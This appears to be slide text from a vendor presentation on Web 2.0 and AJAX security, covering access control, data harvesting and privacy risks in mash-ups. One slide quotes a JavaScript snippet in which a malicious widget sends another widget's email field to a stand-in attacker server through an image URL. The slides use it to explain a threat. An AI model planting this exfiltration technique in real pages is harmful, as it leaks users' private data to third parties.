Web 2.0 applications involve increased security risks due to their use of asynchronous JavaScript and XML (AJAX) to dynamically update pages. Key security considerations for Web 2.0 include access control, integrity, availability, and privacy/confidentiality. Developers must validate all user-supplied data to prevent attacks like cross-site scripting, enforce access controls, and use encryption to protect private data transmitted in queries.

1. Web 2.0 and Security Richard Mooney - Product Manager - Vordel

5. Web 2.0 Architecture

6. User Experience

8. Underlying Technologies: On the client side: Scripting the “XHR” // Kick off the XMLhttpRequest, set the callback xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", url, true); xmlhttp.onreadystatechange = doSomethingWithResponse; xmlhttp.send(null); // do something with the data fetched from the server function doSomethingWithResponse() { var xmlResponse = xmlhttp.responseXML; var message = xmlDocument.getElementsByTagName(‘message').item(0).firstChild.data; document.getElementById(‘message').value = message; }

12. Underlying Technologies: Windows Live Some mash-ups use server-side proxies to allow AJAX code to fetch data from multiple different domains Users can add “widgets” to the Windows Live dashboard

13. Access Control: Defintiion The ability to be able to control access to a service based on identity

15. Access Control: Data Harvesting Web 2.0 make use of Web Services on the server-side to send data asynchronously to the client. What if you forget about the client and write your own application to data-harvest all of the data off the server? Policies can be used to ensure that only authenticated users can access the back-end Web Services. Policies can also be used to protect against data harvesting

30. Privacy: Another technique for spying in a Mash-up Described by Anton Rager and Jeremiah Gossman - The malicious widget can simply view the innerHTML of other widgets on the same page, then hive off the data to a third-party server by appending it to an IMG tag: spyImage=document.createElement(‘img’); spyImage.src=‘http://www.pirate.com/sniff.html?” + document.getElementById(‘newEmail').value